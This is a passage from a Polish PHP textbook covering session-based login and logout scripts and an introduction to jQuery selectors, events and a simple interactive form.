wania. Zamiast tego użytkownikowi zostanie wyświetlona jego nazwa oraz otrzyma on możliwość
wylogowania się:
if(isset($_SESSION['prawid_uzyt']))
{
echo '<p>Użytkownik zalogowany jako: '.$_SESSION['prawid_uzyt'].' <br />';
echo '<a href="wylog.php">Wylogowanie</a></p>';
}

Jeżeli nastąpiła nieudana z jakiegoś powodu próba logowania, dostępny jest identyfikator użytkow-
nika, lecz nie zmienna $_SESSION['prawid_uzyt'], tak więc można wyświetlić komunikat o błędzie.
if(isset($iduzytkownika))
{
// jeżeli próba logowania była nieudana
echo '<p>Zalogowanie niemożliwe.</p>';
}
Rozdział 22.  Stosowanie kontroli sesji w PHP 475

Oto skrypt główny. Poniżej została przedstawiona strona członkowska. Kod tego skryptu zapre-
zentowano na listingu 22.5.

Listing 22.5. tylko_czlonkowie.php — kod części członkowskiej witryny WWW sprawdza uprawnionych
użytkowników
<?php
session_start();
?>
<!DOCTYPE html>
<html>
<head>
<title>Część członkowska</title>
</head>
<body>
<h1>Część członkowska</h1>

<?php
// sprawdzenie zmiennej sesyjnej
if(isset($_SESSION['prawid_uzyt']))
{
echo '<p>Użytkownik zalogowany jako '.$_SESSION['prawid_uzyt'].'.</p>';
echo '<p>Oto zawartość dostępna tylko dla członków.</p>';
}
else
{
echo '<p>Użytkownik niezalogowany.</p>';
echo '<p>Tylko zalogowani użytkownicy mogą oglądać tę stronę.</p>';
}
?>

<p><a href="uwierz_glowny.php">Powrót do strony głównej</a></p>

</body>
</html>

Powyższy kod jest bardzo prosty. Wszystko, co wykonuje, to sprawdzanie za pomocą $_SESSION
['prawid_uzyt'], czy aktualna sesja zawiera zgłoszonego użytkownika. Jeżeli użytkownik jest
zalogowany, można wyświetlić mu zawartość przeznaczoną tylko dla członków; w przeciwnym
przypadku otrzymuje on komunikat o braku zalogowania.

Ostatnim skryptem jest wylog.php, który dokonuje wylogowania użytkownika z systemu. Kod tego
skryptu jest przedstawiony na listingu 22.6.

Listing 22.6. wylog.php — ten skrypt usuwa zmienną sesyjną i niszczy sesję
<?php
session_start();

// zapisywane, by sprawdzić, czy użytkownik *był* zalogowany


$stary_uzyt=$_SESSION['prawid_uzyt'];
unset($_SESSION['prawid_uzyt']);
session_destroy();
?>
<!DOCTYPE html>
<html>
<head>
<title>Wylogowanie</title>
</head>
<body>
476 Część IV  Zaawansowane techniki PHP

<h1>Wylogowanie</h1>
<?php
if (!empty($stary_uzyt))
{
echo '<p>Zostałeś wylogowany.</p>';
}
else
{
// jeżeli brak zalogowania, lecz w jakiś sposób uzyskany dostęp do strony
echo '<p>Użytkownik niezalogowany, tak więc brak wylogowania.</p>';
}
?>
<p><a href="uwierz_glowny.php">Powrót do strony głównej</a></p>

</body>
</html>

Kod jest bardzo prosty, lecz zawiera pewien subtelny szczegół. Sesja zostaje rozpoczęta, po czym
w zmiennej zapisywana jest stara nazwa użytkownika, usuwa się zmienną prawidłowego użytkow-
nika i następuje zniszczenie sesji. Następnie użytkownik otrzymuje wiadomość zależną od tego, czy
został wylogowany, czy wylogowanie było niemożliwe lub czy poprzednio się nie zalogował.

Powyższy prosty zestaw skryptów będzie podstawą dużej części pracy przedstawionej w następ-
nych rozdziałach.

W następnym rozdziale
W następnym rozdziale odejdziemy na chwilę od głównych zagadnień opisywanych w tej książce,
by przyjrzeć się nieco dokładniej pisaniu skryptów działających w przeglądarce, a konkretnie tech-
nologii AJAX, która pozwala kodowi pisanemu w języku JavaScript na prowadzenie komunikacji
z serwerem. Komunikacja z serwerem oznacza jednocześnie komunikację ze skryptami PHP uru-
chamianymi na tym serwerze, dlatego też przyjrzymy się żądaniom generowanym przez klienty
oraz odpowiedziom przesyłanym przez serwery.
Rozdział 23.
Integracja JavaScriptu i PHP
W tym rozdziale przedstawione zostaną sposoby stosowania języka JavaScript do interakcji ze
skryptami PHP wykonywanymi na serwerze w celu realizacji akcji, które nie wymagają pełnego
odświeżania strony w przeglądarce.

Oto kluczowe zagadnienia, które zostały opisane w tym rozdziale:


 Prezentacja frameworka jQuery.
 Podstawowe pojęcia oraz techniki związane ze stosowaniem jQuery.
 Integracja jQuery i PHP.
 Tworzenie aplikacji do pogawędek przy użyciu jQuery i PHP.

Przedstawienie technologii AJAX


Asynchroniczne żądania wykonywane przez przeglądarki WWW są powszechnie nazywane żąda-
niami AJAX, przy czym „AJAX” to akronim pochodzący od słów Asynchronous JavaScript and
XML, który powstał około 2003 roku. Mimo że w nazwie pojawia się słowo „XML”, w tym
rozdziale nie będzie mowy o tym języku, gdyż w nowoczesnych rozwiązaniach AJAX zazwy-
czaj operuje bądź to na kodzie HTML, bądź też na danych w formacie JSON (JavaScript Object
Notation).

Powodem, dla którego z punktu widzenia twórców aplikacji internetowych AJAX jest interesującą
i potężną technologią, jest słowo odpowiadające pierwszej literze akronimu: technologia AJAX
pozwala na wykonywanie żądań asynchronicznych. W praktyce oznacza to, że istnieje możliwość
przesyłania na serwer, na którym są wykonywane skrypty PHP, żądań generowanych przez
skrypty JavaScript, i to bez konieczności odświeżania całych stron wyświetlanych w przeglądarce.
Proces ten pozwala na tworzenie aplikacji internetowych zapewniających użytkownikom doskonałe
wrażenia i bardzo przypominających klasyczne aplikacje komputerowe, a jednocześnie pozwala
na implementację interfejsu użytkownika w sposób modularny, którego nie można byłoby uzyskać
w przypadku stosowania zwyczajnych, pełnych żądań, sprawiających, że strona za każdym razem
jest pobierana i odświeżana w całości.

Termin „AJAX” stał się popularny w roku 2003, kiedy to implementacje języka JavaScript
w większości nowoczesnych przeglądarek zaczęły obsługiwać możliwości generowania żądań
asynchronicznych, realizowanych przy użyciu klasy XMLHttpRequest (czasami określanej jako
XHR). Niemniej jednak obecnie, w nowoczesnej erze aplikacji internetowych, zamiast tych nisko-
poziomowych API powszechnie stosowane są wszechstronne i działające we wszystkich przeglądar-
kach frameworki JavaScript. Na potrzeby tego rozdziału do przedstawienia sposobów wykorzystania
technologii AJAX do komunikacji z serwerem WWW zostanie użyty bardzo popularny frame-
work JavaScript — jQuery.
478 Część IV  Zaawansowane techniki PHP

Krótka prezentacja jQuery


jQuery jest niezwykle popularnym frameworkiem JavaScript. Rozwiązania takie jak jQuery
odgrywają obecnie bardzo ważną rolę, tworząc jednolite API pozwalające na budowanie w języku
JavaScript oprogramowania, które będzie działać niezależnie od przeglądarki wykorzystywanej
przez użytkownika. Bez frameworków takich jak jQuery podczas pisania aplikacji ich twórcy
musieliby samodzielnie radzić sobie z osobliwościami poszczególnych przeglądarek oraz ich róż-
nych wersji i rozbieżnościami w ich działaniu. Frameworki rozwiązują te problemy, pozwalając
programistom skoncentrować się na logice pisanych aplikacji, a nie na wszelkich możliwych
przeglądarkach, z których potencjalnie mogą korzystać użytkownicy.

Framework jQuery nie tylko sam oferuje ogromne możliwości, lecz jest także bardzo elastycz-
ny i rozszerzalny, gdyż udostępnia całą kolekcję wysokiej klasy wtyczek. Dzięki tym wtyczkom
dostępna jest większość możliwości funkcjonalnych, których programista może potrzebować w apli-
kacji. W tym rozdziale wykorzystywane będą jedynie podstawowe możliwości samego frameworka
jQuery (określane jako jQuery Core), a w szczególności te związane z technologią AJAX.

Stosowanie jQuery w aplikacjach internetowych


Zastosowanie jQuery jako jednego z elementów z przybornika narzędzi do tworzenia aplikacji
internetowych jest wyjątkowo proste. Ponieważ framework jQuery jest zwyczajną biblioteką
JavaScript, wystarczy go w standardowy sposób dołączyć do dokumentu HTML, używając
znacznika <script>.

Bibliotekę jQuery można dołączyć do strony na dwa sposoby:


 Pobrać ją i zainstalować jako jeden z elementów tworzonej aplikacji internetowej,
a następnie odwoływać się do jej pliku w znaczniku <script>.
 Skorzystać z CDN jQuery do pobierania biblioteki jQuery, dzięki czemu nie trzeba
będzie dodawać żadnych plików do lokalnego projektu. W tym przypadku znacznik
<script> będzie się odwoływał do zewnętrznego adresu URL.

W celu zapewnienia jak największej przenaszalności kodu w tej książce wykorzystane zostanie
to drugie rozwiązanie.

A zatem zapewnienie możliwości użycia jQuery w aplikacji internetowej sprowadza się do dołącze-
nia tej biblioteki do dokumentu HTML przy wykorzystaniu poniższego znacznika <script>,
odwołującego się do jej najnowszej wersji:
<script scr="//code.jquery.com/jquery-3.1.1.min.js" />

Warto zwrócić uwagę na to, że w powyższym adresie URL został pominięty używany protokół
(na przykład http://). Jest to rozwiązanie celowe, informujące przeglądarkę, że zasób, do którego
adres URL się odwołuje, należy pobrać przy użyciu protokołu zdefiniowanego przez dokument
nadrzędny. A zatem jeśli strona została pobrana przy wykorzystaniu protokołu https://, to zostanie on
także użyty do pobrania biblioteki. Dzięki zastosowaniu takiego rozwiązania można uniknąć
ewentualnych komunikatów o zagrożeniach, które przeglądarka mogłaby wyświetlać na przykład
w przypadku pobierania niebezpiecznego zasobu na stronie pobranej przy użyciu bezpiecznego
protokołu.
Rozdział 23.  Integracja JavaScriptu i PHP 479

Wczytanie tej jednej biblioteki jQuery pozwala aplikacji internetowej na korzystanie z jej pełnych
możliwości! W kilku kolejnych punktach rozdziału przedstawione zostaną podstawowe pojęcia
związane z biblioteką jQuery oraz jej możliwości.

Podstawowe pojęcia i techniki związane ze stosowaniem jQuery


Na samym początku prezentacji sposobów stosowania jQuery opisane zostaną podstawowe pojęcia
związane z tą biblioteką. Przede wszystkim możliwości jQuery są udostępniane programistom
za pośrednictwem przestrzeni nazw funkcji jQuery, zawierającej pełne możliwości funkcjonalne
tej biblioteki.

Ten uchwyt do przestrzeni nazw jQuery jest używany za każdym razem, kiedy chcemy skorzystać
z możliwości biblioteki. Niemniej jednak wpisywanie jQuery za każdym razem byłoby dość
niewygodne, dlatego też jQuery tworzy nazwę zastępczą (tak zwany alias), która pozwala odwoły-
wać się do jQuery przy użyciu symbolu $. To właśnie ta nazwa zastępcza będzie stosowana
w tym rozdziale, gdyż to ona jest przeważnie wykorzystywana podczas tworzenia aplikacji z uży-
ciem biblioteki jQuery.

Trzeba jednak pamiętać, że w przypadku stosowania jQuery wraz z innymi frameworkami


JavaScript, które także próbują korzystać z symbolu $ jako swojej nazwy zastępczej, wciąż
można używać jQuery, wykorzystując tryb „bez konfliktów”. W tym celu należy użyć wywoła-
nia jQuery.noConflict(); zwraca ono instancję, którą można przypisać dowolnej zmiennej lub
dowolnie wybranej nazwie zastępczej:
var $nowajQuery = jQuery.noConflict();

Po tych wszystkich wyjaśnieniach możemy już przejść do przedstawienia dwóch podstawowych


terminów związanych ze stosowaniem jQuery, którymi są „selektory” oraz „zdarzenia”.

Stosowanie selektorów jQuery


Selektory można sobie wyobrazić jako pewien rodzaj języka zapytań, pozwalający na identyfika-
cję elementów dokumentów HTML na podstawie podanych kryteriów i wykonywanie na nich
określonych operacji bądź też określanie logiki obsługi zdarzeń generowanych przez te elementy.
Ten niby-język oferuje niezwykle duże możliwości, pozwalając na błyskawiczne odwoływanie
się do elementów HTML stron na podstawie ich różnych atrybutów.

Aby lepiej wyjaśnić, jak działają selektory, w pierwszej kolejności przedstawimy (na listingu 23.1)
prosty dokument HTML, który będzie podstawą do dalszych rozważań.

Listing 23.1. prosty_formularz.html — prosty formularz używany do prezentacji selektorów


<!DOCTYPE html>
<html>
<head>
<meta charset="utf-8" />
<title>Prosty formularz</title>
</head>
<body>
<form id="mojFormularz">
<label for="imie">Imię</label><br/>
<input type="text" name="personalia[imie]"
id="imie" class="imieinazw"/><br/>
<label for="nazwisko">Nazwisko</label><br/>
<input type="text" name="personalia[nazwisko]"
id="nazwisko" class="imieinazw"/><br/>
480 Część IV  Zaawansowane techniki PHP

<button type="submit">Prześlij formularz</button>


</form>

<hr/>

<div id="konsolaW3">
<h3>Konsola WWW</h3>
</div>

<script src="//code.jquery.com/jquery-3.1.1.min.js"></script>
</body>
</html>

W oparciu o przykładowy kod HTML przedstawiony na listingu 23.1 poniżej przeanalizowanych


zostanie kilka różnych sposobów wykorzystania selektorów jQuery do odwołania się do rozmaitych
elementów HTML. Jeśli trzeba wybrać jeden konkretny element, najlepszym rozwiązaniem jest
skorzystanie z jego atrybutu id:
var nazwisko = $('#nazwisko');

To pierwsza z wielu dostępnych składni selektorów, korzystająca z operacji #, informującej, że


łańcuch podany za tym znakiem określa wartość atrybutu id docelowego elementu HTML. W razie
konieczności wybrania grupy elementów, na przykład obu pól tekstowych, można podać ich
selektory, oddzielając je od siebie znakiem odstępu, jak pokazano w poniższym przykładzie:
var personaliaElem = $('#imie #nazwisko');

Powyższe wywołanie spowodowałoby zapisanie w zmiennej personaliaElem tablicy zawierającej


dwa węzły — dwa elementy HTML, których identyfikatorami są, odpowiednio, imie i nazwisko.

Jednak w przypadku wybierania wielu elementów zazwyczaj nie określa się listy poszczególnych
elementów przy użyciu operatora # i identyfikatorów. Znacznie częściej wybiera się grupę elemen-
tów należących do określonej klasy, niezależnie od ich identyfikatorów. Używa się do tego selekto-
rów klasy, które mają następującą postać:
var personaliaElem = $('.imieinazw');

Ponieważ oba pola tekstowe w przedstawionym przykładowym dokumencie HTML należą do


klasy imieinazw (określanej przy użyciu atrybutu class znacznika HTML), oba powyższe selektory
dadzą te same wyniki. Selektory mogą także wybierać elementy na podstawie innych atrybutów
HTML, a nie tylko atrybutów id i class; oto przykład:
var personaliaElem = $('input[type="text"]);

Ten przykład przedstawia nową składnię selektora, pozwalającą na odnajdywanie elementów


HTML, których dowolnie wybrany argument będzie mieć dowolnie określoną wartość. W tym
przypadku wybierane są wszystkie elementy <input> w dokumencie, w których atrybut type ma
wartość text. Ponieważ w przykładowym dokumencie HTML są tylko dwa takie elementy, które
jednocześnie mają tą samą wartość atrybutu class, a ich identyfikatorami są, odpowiednio, imie
i nazwisko, wszystkie trzy powyższe przykłady dadzą taki sam wynik i zwrócą te same elementy.

Nie powinno być większym zaskoczeniem, że istnieje także możliwość wybierania elementów
na podstawie ich typu. Na przykład gdyby konieczne było zwrócenie całej zawartości dokumentu
HTML, można by ją pobrać przy użyciu następującego wywołania:
var cialoDokumentu = $('body');
Rozdział 23.  Integracja JavaScriptu i PHP 481

Oprócz możliwości wybierania konkretnych elementów na podstawie wartości ich atrybutów


lub nazwy elementu jQuery oferuje także możliwość stosowania zestawu pseudoselektorów pozwa-
lających twórcom aplikacji na wybieranie elementów w sposób, który bardziej przypomina pro-
gramowanie. W tym rozdziale nie zostaną przedstawione wszystkie dostępne pseudoselektory
(ani nawet składnia wszystkich dostępnych rodzajów selektorów), niemniej jednak opiszemy kilka
najbardziej użytecznych oraz najczęściej używanych rodzajów selektorów, a także ich składnię:
var pierwszePole = $('input:first');

Powyższe wywołanie zwraca pierwszy element <input> znaleziony w dokumencie. Gdyby koniecz-
ne było ograniczenie wyszukiwania do pierwszego elementu <input> znajdującego się w konkret-
nym formularzu, to można by to zrobić, łącząc ich selektory w następujący sposób:
var pierwszePole = $('#mojFormularz input:first');

Kolejnym przydatnym selektorem, zwłaszcza w przypadku operowania na tabelach HTML, jest


selektor pozwalający na wybranie co drugiego wyniku zwróconego przez inny selektor. Na przykład
wiadomo, że poniższy selektor zwróci każdy element <tr> w danym dokumencie HTML:
var wiersze = $('tr');

Dzięki zastosowaniu dodatkowego pseudoselektora :even lub :odd można wybrać każdy co drugi
element ze zbioru zwracanego przez wcześniejszy selektor, przy czym mogą to być, odpowiednio,
elementy „parzyste” i „nieparzyste”:
var wierszeNP = $('tr:odd');
var wierszeP = $('tr:even');

Selektorów można także używać do operowania na podstawowych obiektach JavaScript, takich


jak obiekt dokumentu dostępny domyślnie na każdej stronie HTML (obiekt ten reprezentuje cały
dokument). W takim przypadku wystarczy przekazać obiekt jako selektor:
var jQuerySelektorDoc = $(document);

I w końcu, choć z technicznego punktu widzenia nie ma to nic wspólnego z selektorami, w podobny
sposób można tworzyć w pamięci zupełnie nowe elementy HTML, a następnie wykonywać na
nich operacje i dodawać je do istniejącego dokumentu HTML, co właściwie odpowiada modyfiko-
waniu zawartości strony bez jej odświeżania. Na przykład załóżmy, że konieczne jest utworzenie
nowego elementu <p>. Można to zrobić błyskawicznie w poniższy sposób:
var nowyAkapit = $('<p>');

Teoretycznie przy użyciu tej techniki można by tworzyć całe sekcje dokumentu HTML, a nawet całe
dokumenty:
var nowyAkapit = $('<p>To jest <strong>bardzo ważny tekst</strong>.</p>');

Powyższe informacje to bardzo proste, skrócone wprowadzenie do zagadnień związanych z selekto-


rami jQuery, niemniej jednak powinny one wystarczyć Czytelnikowi do zrozumienia kolejnych
przykładów przedstawionych w tym rozdziale, prezentujących sposoby korzystania z technolo-
gii AJAX. Aby dokładniej poznać wszystkie dostępne selektory jQuery oraz ich składnię,
należy zajrzeć do internetowej dokumentacji biblioteki, do jej sekcji poświęconej selektorom:
http://learn.jquery.com/using-jquery-core/selecting-elements/.

Operowanie na zbiorach wynikowych selektorów


Skoro zostały już przedstawione podstawowe metody przeglądania dokumentów HTML służące
do poszukiwania interesujących elementów, nadszedł czas, by zaprezentować różne sposoby
operowania na tych tak zwanych zbiorach wynikowych selektorów. Koniecznie należy sobie
482 Część IV  Zaawansowane techniki PHP

uświadomić, że zbiory wynikowe selektorów zwracane przez jQuery z założenia są traktowane


jako wieloelementowe. Oznacza to, że selektor zwracający jeden element nie jest traktowany
jako jednostkowy element, lecz jako zbiór składający się z tylko jednego elementu. To z kolei
znaczy, że można wykonywać operacje na całym zbiorze, niezależnie od tego, czy znajduje się
w nim tylko jeden element, czy też całe setki elementów.

W ramach przykładu przedstawiona zostanie metoda jQuery o nazwie val(), pozwalająca pro-
gramiście na pobranie lub ustawienie atrybutu elementu wejściowego:
var myInput = $('#first_name');
console.log("Wartość elementu input o identyfikatorze #imie wynosi: '
+ myInput.val());
myInput.val('Jan');
console.log("Wartość pola o identyfikatorze #imie została zmieniona na: '
+ myInput.val());

W tym przykładzie wybierany jest tylko jeden element HTML o podanym identyfikatorze, o warto-
ści imie. Niemniej jednak ponieważ selektor zawsze zwraca zbiór elementów, tej samej metody
można by używać zawsze. Aby powyższy przykład był nieco bardziej praktyczny, przedsta-
wiona zostanie druga metoda jQuery, addClass(); zgodnie z tym, co sugeruje jej nazwa, służy
ona do określania klas, do których należą elementy HTML. Poniżej zaprezentowany został
przykład użycia tej metody:
var polaPresonaliow = $('.imieinazw');
polaPresonaliow.addClass('kontrolki-formularza');

Ten przykładowy kod odnajduje wszystkie elementy HTML należące do klasy imieinazw, a następ-
nie dodaje je także do klasy kontrolki-formularza.

W bardziej praktycznych zastosowaniach, w których elementy stron mogą, lecz nie muszą ist-
nieć, bardzo dużego znaczenia nabiera sprawdzanie, czy zbiór wynikowy zwrócony na skutek
wykonania selektora zwrócił jakieś elementy, czy nie. Ponieważ z technicznego punktu widze-
nia zbiór zawierający zero elementów wciąż jest zbiorem (a zatem jego sprawdzenie w języku
JavaScript zwróciłoby wartość true), faktyczną wielkość zbioru należy odczytywać przy użyciu
właściwości length:
var nameFields = $('.imieinazw');

if(nameFields.length > 0) {
console.log("Znaleziono elementy należące do klasy 'imieinazw'.");
} else {
console.log("Nie znaleziono elementów należących do klasy 'imieinazw'.");
}

Wprowadzenie do zdarzeń jQuery


Zdarzenia są jednym z kluczowych elementów języka JavaScript, a co za tym idzie, także i jQuery.
Ponieważ sam JavaScript jest asynchronicznym językiem programowania (co oznacza, że logika
programu nie zawsze jest wykonywana w tej samej kolejności), zdarzenia są niezbędne do tego,
by zapewnić, że w przypadku zmian kolejności wykonywania nie zostanie utracone znaczenie
aplikacji.

Programiści jQuery mają do dyspozycji dziesiątki różnych zdarzeń, reprezentujących przeróżne


okoliczności. Niektóre z tych zdarzeń pochodzą z języka JavaScript; przykładem takiego zdarze-
nia może być click, emitowane za każdym razem, gdy użytkownik coś kliknie. Z kolei inne
zdarzenia są konstrukcjami jQuery; przykładem może być ready — zdarzenie zgłaszane, kiedy
wszystkie zasoby danego dokumentu HTML zostaną prawidłowo pobrane.
Rozdział 23.  Integracja JavaScriptu i PHP 483

W hierarchii dokumentu HTML zdarzenia propagują z elementu źródłowego, poprzez jego elementy
nadrzędne, aż w końcu są przekazywane przez cały dokument (co wyzwala akcje we wszyst-
kich elementach), które danego zdarzenia nasłuchują. Podobnie jak w wielu innych systemach
obsługi zdarzeń, procedury ich obsługi, nazywane także funkcjami nasłuchującymi, mogą zatrzymać
propagację zdarzenia. W przypadku biblioteki jQuery podczas obsługi zdarzeń zazwyczaj
w pierwszej kolejności jest używany selektor, który pozwala wybrać odpowiednie elementy, a na-
stępnie zostaje wywołana metoda on(), pozwalająca nasłuchiwać wybranego zdarzenia i wykony-
wać odpowiednią logikę, jeśli zostanie ono zgłoszone. Jednym z najprostszych możliwych przy-
kładów obsługi zdarzeń jest nasłuchiwanie zdarzenia ready, zgłaszanego przez jQuery, kiedy
cały dokument wraz ze wszystkimi zasobami zostanie prawidłowo pobrany:
$(document).on('ready', function(event) {
// Kod do wykonania po zakończeniu pobierania dokumentu
});

Podobnie jak większość innych metod jQuery, także i metoda on() może być wywoływana na
rzecz dowolnego selektora. Na przykład aby reagować na każde kliknięcie łącza, można by
dołączyć funkcję nasłuchującą do każdego znacznika <a> z atrybutem href i nasłuchiwać zda-
rzeń click:
$('a').on('click', function(event) {
// Czynności wykonywane za każdym razem po kliknięciu elementu <a> HTML.
});

Metoda on() jest uniwersalnym sposobem kojarzenia zdarzeń z procedurami ich obsługi, jednak
zarówno dla wygody, jak i ze względów historycznych jQuery udostępnia także cały zestaw podob-
nych metod kojarzących funkcje nasłuchujące z konkretnymi zdarzeniami. Na przykład wywo-
łania $(document).on('ready', ...) oraz $(document).ready(...) dają identyczne rezultaty.

W zależności od początkowego selektora może się zdarzyć, że będziemy chcieli stworzyć jedno
zdarzenie dla wielu elementów HTML, lecz po jego zgłoszeniu operować wyłącznie na jednym
elemencie, który je zgłosił. Jak można było zauważyć w dwóch ostatnich przykładach, domknięcie
przekazane w celu obsługi zdarzenia posiadało jeden parametr: event. Parametr ten jest obiektem
zdarzenia tworzonym w momencie jego zgłaszania; jego właściwość target zawiera odwołanie
do konkretnego elementu strony, który zgłosił zdarzenie. A zatem wybraną operację, na przykład na
klikniętym przycisku, można wykonać w następujący sposób:
$('button').on('click', function(event) {
var przycisk = $(event.target);

// Wykonanie czynności na klikniętym przycisku


});

I podobnie, w szczególności dla niektórych rodzajów zdarzeń, takich jak zdarzenie click elementu
HTML <a>, domyślna funkcja nasłuchująca może wykonywać czynności, które nie powinny
zostać wykonane. Oto przykład:
$('a').on('click', function(event) {
var link = $(event.target).attr('href');
console.log("Kliknięte łącze prowadziło do adresu URL: " + link);
});

Logicznie rzecz biorąc, powyższy fragment kodu powinien zapewniać możliwość nasłuchiwa-
nia na zdarzenia click, pobierania wartości atrybutu elementu źródłowego przy użyciu metody
attr(), a następnie wyświetlanie wartości tego atrybutu w konsoli przeglądarki. I choć powinno
tak być, to jednak powyższy kod nie będzie działał w taki sposób, gdyż istnieje domyślne działanie
skojarzone z kliknięciem elementu (a konkretnie: zmiana strony wyświetlanej w przeglądarce
na zasób o podanym adresie URL). Powyższy kod będzie działał właśnie w taki sposób, gdyż
484 Część IV  Zaawansowane techniki PHP

niezależnie od tego, czy kod poprawnie nasłuchuje zdarzenia, będzie ono propagowane w górę
dokumentu HTML, co w końcu doprowadzi do zastosowania domyślnego sposobu jego obsługi.
Aby temu zaradzić, trzeba uniemożliwić propagację zdarzenia, używając do tego metody
preventDefault(), dostępnej w każdym obiekcie zdarzenia. Poniższy przykład przedstawia fragment
kodu korzystający z tej metody, który będzie działał zgodnie z oczekiwaniami:
$('a').on('click', function(event) {
preventDefault();

var link = $(event.target).attr('href');


console.log("Kliknięte łącze prowadziło do adresu URL: " + link);
});

Jak wspomniano we wcześniejszej części rozdziału, istnieje wiele różnych zdarzeń, których można
nasłuchiwać i które można obsługiwać — jest ich zbyt wiele, by można było je wszystkie
szczegółowo opisać w tym rozdziale. Niemniej jednak tabela 23.1 zawiera listę kilku najczęściej
używanych zdarzeń, które można obsługiwać przy wykorzystaniu frameworka jQuery.

Tabela 23.1. Przydatne zdarzenia jQuery

Zdarzenie Typ Opis


change Zdarzenie formularza Generowane w momencie zmiany wartości elementu formularza
click Zdarzenie myszy Generowane w momencie kliknięcia elementu
dblclick Zdarzenie myszy Generowane w momencie dwukrotnego kliknięcia elementu
error Zdarzenie JavaScript Generowane w momencie wystąpienia błędu JavaScript
focusin Zdarzenie formularza Generowane w momencie przenoszenia do elementu miejsca
wprowadzania (ang. input focus), jednak jeszcze zanim to faktycznie
nastąpi
focus Zdarzenie formularza Generowane, gdy element uzyska miejsce wprowadzania
focusout Zdarzenie formularza Generowane, gdy miejsce wprowadzania zostanie przeniesione
do innego elementu
hover Zdarzenie myszy Generowane, gdy wskaźnik myszy będzie przesuwany w obszarze
danego elementu
keydown Zdarzenie klawiatury Generowane po wciśnięciu klawisza
keypress Zdarzenie klawiatury Generowane po naciśnięciu klawisza, czyli jego wciśnięciu
i zwolnieniu
keyup Zdarzenie klawiatury Generowane po zwolnieniu klawisza
ready Zdarzenie dokumentu Generowane po utworzeniu kompletnego obiektowego modelu
dokumentu
submit Zdarzenie formularza Generowane po przesłaniu danego formularza

W poniższym przykładzie przedstawiona została zmodyfikowana wersja strony z listingu 23.1,


łącząca wszystkie zaprezentowane do tej pory informacje dotyczące selektorów i zdarzeń, w celu
wykonywania różnego rodzaju czynności. Nową wersję strony ukazuje listing 23.2.

Listing 23.2. prosty_formularz_v2.html — przykład prostego formularza korzystającego z jQuery


<!DOCTYPE html>
<html>
<head>
Rozdział 23.  Integracja JavaScriptu i PHP 485

<meta charset="utf-8" />


<title>Prosty formularz</title>
</head>
<body>
<form id="mojFormularz">
<label for="imie">Imię</label><br/>
<input type="text" name="personalia[imie]"
id="imie" class="imieinazw"/><br/>
<label for="nazwisko">Nazwisko</label><br/>
<input type="text" name="personalia[nazwisko]"
id="nazwisko" class="imieinazw"/><br/>
<button type="submit">Prześlij formularz</button>
</form>

<hr/>

<div id="konsolaW3">
<h3>Konsola WWW</h3>
</div>

<script src="//code.jquery.com/jquery-3.1.1.min.js"></script>

<script>
var konsolaW3 = function(msg) {
var konsola = $('#konsolaW3');
var nowyKomunikat = $('<p>').text(msg);
konsola.append(nowyKomunikat);
}

$(document).on('ready', function() {
$('#imie').attr('placeholder', 'Jan');
$('#nazwisko').attr('placeholder', 'Kowalski');
});

$('#mojFormularz').on('submit', function(event) {
var imie = $('#imie').val();
var nazwisko = $('#nazwisko').val();

konsolaW3("Przesłano formularz!");
alert("Witaj, użytkowniku " + imie + " " + nazwisko + "!");
});

$('.imieinazw').on('focusout', function(event) {
var poleForm = $(event.target);
konsolaW3("Wartość pola o identyfikatorze '" +
poleForm.attr('id') +
"' została zmieniona na: '" +
poleForm.val() +
"'");
});
</script>

</body>
</html>

Jak widać, w powyższym dokumencie HTML zostały wprowadzone znaczące zmiany — dodano
do niego kilka procedur obsługi zdarzeń jQuery, których zadaniem jest ożywienie tego statyczne-
go dokumentu. Pierwszą z tych funkcji jest konsolaW3(), której definicja została przedstawiona
poniżej:
486 Część IV  Zaawansowane techniki PHP

var konsolaW3 = function(msg) {


var konsola = $('#konsolaW3');
var nowyKomunikat = $('<p>').text(msg);
konsola.append(nowyKomunikat);
}

Ta funkcja będzie używana w innych miejscach naszej aplikacji w celu wyświetlania na bieżąco
informacji o realizacji skryptu. Jej działanie polega na dodawaniu nowego akapitu (elementu <p>)
wewnątrz początkowo pustego elementu <div> o identyfikatorze konsolaW3 za każdym razem,
gdy konieczne jest wyświetlenie nowego komunikatu. To wspaniały przykład zastosowania
jQuery do wyboru elementów, tworzenia nowej zawartości, a następnie modyfikowania wyświetlo-
nego dokumentu HTML z poziomu kodu JavaScript.
Po przedstawieniu tej funkcji pomocniczej nadszedł czas, by zająć się opisem kluczowych możliwo-
ści funkcjonalnych prezentowanej aplikacji jQuery. Pierwszą z nich będzie funkcja wykonywana
po zakończeniu wczytywania dokumentu:
$(document).on('ready', function() {
$('#imie').attr('placeholder', 'Jan');
$('#nazwisko').attr('placeholder', 'Kowalski');
});

Funkcja ta jest wywoływana po zakończeniu wczytywania dokumentu HTML, a jej działanie


polega na dodaniu nowych atrybutów placeholder do pól tekstowych o identyfikatorach imie
i nazwisko. Operacja ta jest wykonywana tak szybko, że użytkownik praktycznie nie jest w stanie jej
zauważyć; nie ma znaczenia, czy atrybuty te zostaną wygenerowane przez skrypt, czy statycznie
umieszczone w kodzie dokumentu HTML.
Reszta kodu aplikacji jest umieszczona w procedurach obsługi zdarzeń, które będą wykonywane
asynchronicznie, a nie na skutek realizacji logicznej ścieżki działania aplikacji. Dlatego nie ma
większego znaczenia, która z tych procedur zostanie opisana jako pierwsza. Poniżej przedstawio-
na została procedura obsługi zdarzeń focusout obu pól tekstowych formularza:
$('.imieinazw').on('focusout', function(event) {
var poleForm = $(event.target);
konsolaW3("Wartość pola o identyfikatorze '" +
poleForm.attr('id') +
"' została zmieniona na: '" +
poleForm.val() +
"'");
});

Po usunięciu miejsca wprowadzania z pola formularza (na przykład dlatego, że użytkownik chce
wprowadzić dane w innym polu) zostanie wygenerowane zdarzenie focusout, co z kolei spowoduje
wywołanie powyższej funkcji. Funkcja ta sprawdza (przy użyciu właściwości target przekazanego
obiektu zdarzenia) element, który doprowadził do zgłoszenia zdarzenia, a następnie wyświetla
komunikat, wywołując w tym celu przedstawioną wcześniej funkcję konsolaW3(). W rezultacie stro-
na jest aktualizowana na bieżąco za każdym razem, gdy użytkownik zmieni zawartość dowolnego
pola formularza. Efekty działania tej procedury obsługi zdarzeń zostały pokazane na rysunku 23.1.
Ostatnim zdarzeniem obsługiwanym w powyższej aplikacji jest zdarzenie submit, generowane
w efekcie przesłania formularza. Zastosowany selektor określa, że funkcja nasłuchująca powinna
zostać skojarzona wyłącznie z formularzem o identyfikatorze mojFormularz:
